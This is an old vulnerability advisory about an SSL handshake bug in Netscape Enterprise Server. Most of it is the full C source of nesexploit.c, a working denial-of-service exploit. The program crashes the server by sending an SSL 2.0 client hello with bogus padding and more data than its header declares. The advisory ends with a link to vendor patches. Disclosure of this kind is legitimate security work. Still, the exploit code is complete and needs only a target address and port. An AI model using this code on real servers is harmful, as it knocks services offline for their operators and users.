COMMAND

    SSL Handshake

SYSTEMS AFFECTED

    Netscape Enterprise Server

PROBLEM

    Arne Vidstrom found following.   There exists a SSL handshake  bug
    in Netscape Enterprise Server that  can be exploited to crash  the
    server.  Netscape has  confirmed this, and they  acknowledged that
    another person reported this to  them before.  Below is  some code
    that shows in detail what this is about.

    //
    // nesexploit.c - v1.02 - by Arne Vidstrom, winnt@bahnhof.se
    //
    // This program crashes Netscape Enterprise Server when it is
    // running in SSL mode, by exploiting a bug in the SSL handshake
    // code. The server crashes if the client:
    //
    //  * starts with SSL 2.0 format
    //  * uses long record header
    //  * uses padding >= 8
    //  * sends at least 11 bytes more data than it specifies in the
    //    header
    //  * sends at least about 4 kb data
    //
    // I haven't included any error handling in the code because it's
    // so boring to write... ;o)
    //
    
    #include <winsock.h>
    #include <string.h>
    #include <stdio.h>
    
    #define sockaddr_in struct sockaddr_in
    #define sockaddr struct sockaddr
    
    // Some combinations of these three constants will crash the server,
    // others will not.
    
    #define PADDING 8
    #define SPECIFIED_SIZE 11822
    #define ACTUAL_SIZE 11833
    
    void main(void)
    {
            // IP address of the server - set to your own server and nobody
            // elses :o)
            char ipaddr[25] = "xxx.xxx.xxx.xxx";
    
            // SSL port
            unsigned short port = xxxxx;
    
            SOCKET socket1;
            unsigned char s[65536];
            int errorCode;
            WSADATA winSockData;
            sockaddr_in peer;
            int result;
            unsigned char i;
            unsigned int l;
            int flags;
    
            printf("\nnesexploit.c - developed by Arne Vidstrom,
    winnt@bahnhof.se\n\n");
    
            // Allocate a socket, connect and stuff...
            errorCode = WSAStartup(0x0101, &winSockData);
            socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
            peer.sin_family = AF_INET;
            peer.sin_port = htons(port);
            peer.sin_addr.s_addr = inet_addr(ipaddr);
            for (i = 0; i < 8; i++)
                    peer.sin_zero[i] = 0;
            result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
            if (result != 0)
                    printf("Ehmn, where's that server? ;o)\n\n");
    
            // Initialize the buffer with a lot of '.' Anything would do...
            for (l=0; l<65536; l++)
                    s[l] = '.';
    
            // Version 2.0 Format Header with padding.
            // Shouldn't be any padding because this part is not encrypted,
            // but without padding the server won't crash. :o)
            s[0] = (SPECIFIED_SIZE & 0xff00) >> 8;
            s[1] = (SPECIFIED_SIZE & 0x00ff);
            s[2] = PADDING;
    
            // Client says Hello!
            s[3] = 0x01;
    
            // Client wishes to use Version 3.0 later (there will be no "later"
    though...)
            s[4] = 0x03;
            s[5] = 0x00;
    
            // Cipher Specs Length = 3
            s[6] = 0x00;
            s[7] = 0x0c;
    
            // Session ID = 0
            s[8] = 0x00;
            s[9] = 0x00;
    
            // Challenge Length = 16
            s[10] = 0x00;
            s[11] = 0x10;
    
            // Challenge Specs Data
            s[12] = 0x02;
            s[13] = 0x00;
            s[14] = 0x80;
    
            s[15] = 0x04;
            s[16] = 0x00;
            s[17] = 0x80;
    
            s[18] = 0x00;
            s[19] = 0x00;
            s[20] = 0x03;
    
            s[21] = 0x00;
            s[22] = 0x00;
            s[23] = 0x06;
    
            // Challenge Data is a few '.' from above
    
            // The rest is also '.' from above
    
            // Send all this to the server
            flags = 0;
            result = send(socket1, s, ACTUAL_SIZE, flags);
            if (result != SOCKET_ERROR)
                    printf("Done!\n\n");
    
            // Clean up
            closesocket(socket1);
            WSACleanup();
    }

SOLUTION

    There are patches available at:

        http://help.netscape.com/business/filelib.html#SSLHandshake